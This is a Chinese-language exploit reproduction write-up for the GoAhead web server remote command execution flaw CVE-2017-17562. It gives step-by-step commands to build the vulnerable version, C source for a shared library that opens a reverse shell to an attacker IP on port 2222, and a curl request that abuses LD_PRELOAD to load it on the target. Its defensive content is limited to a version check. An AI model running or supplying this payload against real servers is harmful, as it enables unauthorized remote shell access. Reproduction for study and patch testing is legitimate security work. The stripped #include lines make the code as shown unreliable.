GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现

一、漏洞概述:

1、漏洞简介:

GoAhead Web Server,它是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。

GoAhead Web Server是跨平台的服务器软件,可以稳定地运行在Windows,Linux和Mac OS X操作系统之上。GoAhead Web Server是开放源代码的,这意味着你可以随意修改Web服务器的功能。这款WEB服务器非常小巧,它的WIN CE版本编译后的大小还不到60k,它的输出通常也是面向一些小屏幕设备。在性能方面,使用一颗24MH z的68040处理器,它的响应速度为20次/秒,使用266MHz的Pentium处理器可以达到50次/秒的响应速度。

12月18日,GoAhead被爆出存在远程命令执行漏洞。被赋予CVE编号。

该漏洞是利用服务器初始化CGI时,使用了HTTP请求参数,使用特殊的参数名LD_PRELOAD劫持libc库,进而实现远程命令执行。目前GoAhead的版本已经更新到4.00版本。

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第1张图片

2、漏洞影响版本

GoAhead Web Server < 3.6.5

不受影响版本:

GoAhead Web Server 3.6.5

GoAhead Web Server 4.0.0

二、漏洞复现

测试服务器系统:kali;监听系统:windows 10 ;攻击系统:centos 6.5

1、 在搭建GoAhead 3.6.4漏洞环境

首先获得存在漏洞版本的源码。

git clone https://github.com/embedthis/goahead.git

cd goahead

git checkout tags/v3.6.4 –q

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第2张图片

编译GoAhead及用来测试的CGI文件

make

cd test

gcc ./cgitest.c -o cgi-bin/cgitest

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第3张图片

运行GoAhead Web服务器

sudo ../build/linux-x64-default/bin/goahead

2、获得可以利用的payload

构造payload如下(goahead.c文件):

#include

#include

#include

#include

static void before_main(void) __attribute__((constructor));

static void before_main(void){

int sock = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in attacker_addr = {0};

attacker_addr.sin_family = AF_INET;

attacker_addr.sin_port = htons(2222);

attacker_addr.sin_addr.s_addr = inet_addr("192.168.4.7");

if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

  exit(0);

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

execve("/bin/sh", 0, 0);

}

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第4张图片

编译成.so文件

gcc -shared -fPIC ./payload.c -o payload.so

开启端口监听,

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第5张图片

3、使用curl发送以下payload到目标服务器

curl -X POST --data-binary @payload.so

http://IP:PORT/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0 -i | head

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第6张图片

4、运行结果

当对服务器进行攻击时,监听端口获得服务器的最高权限,可以进行远程命令执行:

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第7张图片

三、漏洞影响

1、通过fofa搜索结果显示:

GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现_第8张图片

可以看出,goahead在我国以及全球范围内,都有使用的对象,而且数量不在少数。

2、自我防护

2.1 受影响版本检测

2.1.1 该漏洞影响linux服务器上开启动态链接可执行文件的用户。如果版本低于3.6.5,输入

./goahead --version

进行手工检测。

其他防护的方法,请查看:

https://open.work.weixin.qq.com/wwopen/mpnews?mixuin=3_HVCQAABwBuIkeyAAAUAA&mfid=WW0320-5y9zoAAABwB3hPRbqL-NAQ0X-8a1c&idx=0&sn=9210071d619e1977d87e1848767dee20&from=timeline&isappinstalled=0

你可能感兴趣的:(GoAhead Web服务器远程命令执行漏洞(CVE-2017-17562)漏洞复现)